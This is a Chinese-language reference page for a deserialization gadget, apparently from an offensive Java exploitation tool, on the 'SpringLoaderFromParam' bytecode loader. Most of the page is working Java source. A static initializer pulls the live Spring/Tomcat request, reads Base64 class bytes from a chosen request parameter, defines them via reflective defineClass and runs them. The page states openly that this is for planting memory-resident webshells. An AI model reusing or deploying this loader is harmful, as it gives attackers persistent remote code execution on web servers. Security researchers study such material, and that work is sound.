Skip to content

Latest commit

 

History

History
79 lines (66 loc) · 5.7 KB

File metadata and controls

79 lines (66 loc) · 5.7 KB

Spring字节码加载(SpringLoaderFromParam)

  • 类别:bytecode 别名:— 优先级:—
  • 作者:Ar3h
  • 依赖spring(运行环境需为 Spring MVC + Tomcat)

作用

生成一段「二阶字节码加载器」的字节码:当该字节码被目标以类初始化方式载入(经 TemplatesImpl/BytecodeConvert 之类的字节码 sink 触发)后,它会在 Spring 上下文中取出当前 HTTP 请求,从指定请求参数里读取一段 Base64 编码的类字节码,defineClass 定义并实例化,实现「投递一次、后续任意加载执行」的内存马 / 动态类加载入口。

链接标签

  • 入口 tagsBytecodeSpringEND —— Bytecode 表示本 gadget 产出的是原始类字节码,需由上游字节码装载 sink(BytecodeConvertTemplatesImpl 等)承接;Spring 标明运行期依赖 Spring;END 表示它是链的终端产物(不再向下衔接)。
  • 衔接 nextTags:无(终端 sink)。
  • excludes:无。

源码剖析

gadget 本体只做「取模板字节码 → 改字段 → 返回 byte[]」:

@Param(name="请求参数名", description="参数值对应Base64格式的字节码")
public String paramName = "data";

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(SpringLoaderFromParamBytecode.class);
    javassistHelper.modifyStringField("paramName", this.paramName);   // 把模板里的静态字段 paramName 重写为用户值
    return javassistHelper.getBytecode();                             // 返回改写后的类字节码
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    chain.doCreate(context);        // 终端 sink:不使用内层对象,仅驱动链
    return this.getObject();
}

JavassistHelper 以 Javassist 读取模板类 SpringLoaderFromParamBytecode 的字节码,将其 public static String paramName 的初值改写为攻击者设定的参数名,再导出为 byte[]。真正的恶意逻辑全部位于模板类的静态代码块中:

public static String paramName;

public SpringLoaderFromParamBytecode() {
    try {
        HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.getRequestAttributes()).getRequest();
        Field r = request.getClass().getDeclaredField("request");
        r.setAccessible(true);
        Response response = ((Request)r.get(request)).getResponse();   // 反射取出 Tomcat 原生 Response
        HttpSession session = request.getSession();
        String classData = request.getParameter(paramName);            // 从指定参数读取 Base64 字节码
        byte[] classBytes = SpringLoaderFromParamBytecode.Base64Decode(classData);
        Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
        defineClassMethod.setAccessible(true);
        Class cc = (Class)defineClassMethod.invoke(SpringLoaderFromParamBytecode.class.getClassLoader(), classBytes, 0, classBytes.length);
        cc.newInstance().equals(new Object[]{request, response, session});  // 实例化并把 request/response/session 传入
    } catch (Exception exception) { }
}

static {
    new SpringLoaderFromParamBytecode();   // 类被加载即触发
}

关键点:

  • 触发时机:模板类含 static { new SpringLoaderFromParamBytecode(); },因此只要该类被 JVM 定义并初始化(例如 TemplatesImpl.newTransformer() 触发 defineClass + 静态初始化)即刻执行,无需显式调用方法。
  • 拿请求上下文:通过 RequestContextHolder.getRequestAttributes() 取当前线程绑定的 Spring 请求;再反射 request.request 字段拿到 Tomcat 原生 Request,进而拿到 Response
  • 二阶加载:从 paramName 指定的请求参数读入 Base64 类字节码,反射调用受保护的 ClassLoader.defineClass 定义任意类,newInstance() 实例化,并以 equals(new Object[]{request, response, session}) 的形式把 servlet 三件套注入新类(约定新类的 equals 承担实际逻辑,规避可疑方法名)。
  • Base64Decode 同时兼容 java.util.Base64(JDK8+)与 sun.misc.BASE64Decoder(旧 JDK),提高通用性。

参数(@Param)

字段 名称 说明 默认 可选值
paramName 请求参数名 后续请求中携带 Base64 类字节码的参数名;模板运行时以此参数读取待加载的类 data 任意字符串

适用版本与原理要点

  • 目标须为 Spring MVC 应用且底层 Servlet 容器为 Tomcat(反射 request.requestorg.apache.catalina.connector.Request 是硬编码约定)。
  • 属于「加载器型」终端 sink:本身不直接命令执行,而是留下一个可反复投递字节码的入口,常用于打内存马。它需要一个能定义/初始化任意类的上游 sink(TemplatesImpl 系列)来激活。
  • 反射 ClassLoader.defineClass 在 JDK 17+ 强封装下可能受 --illegal-access/模块限制影响;RequestContextHolder 依赖请求线程绑定,异步/线程池切换场景可能取不到请求。

所属预设链

自由构件,未直接出现在 51 条预设链中。典型用法为置于字节码装载链尾替换默认的 Exec,即 [..., BytecodeConvert, SpringLoaderFromParam] 形态。

关联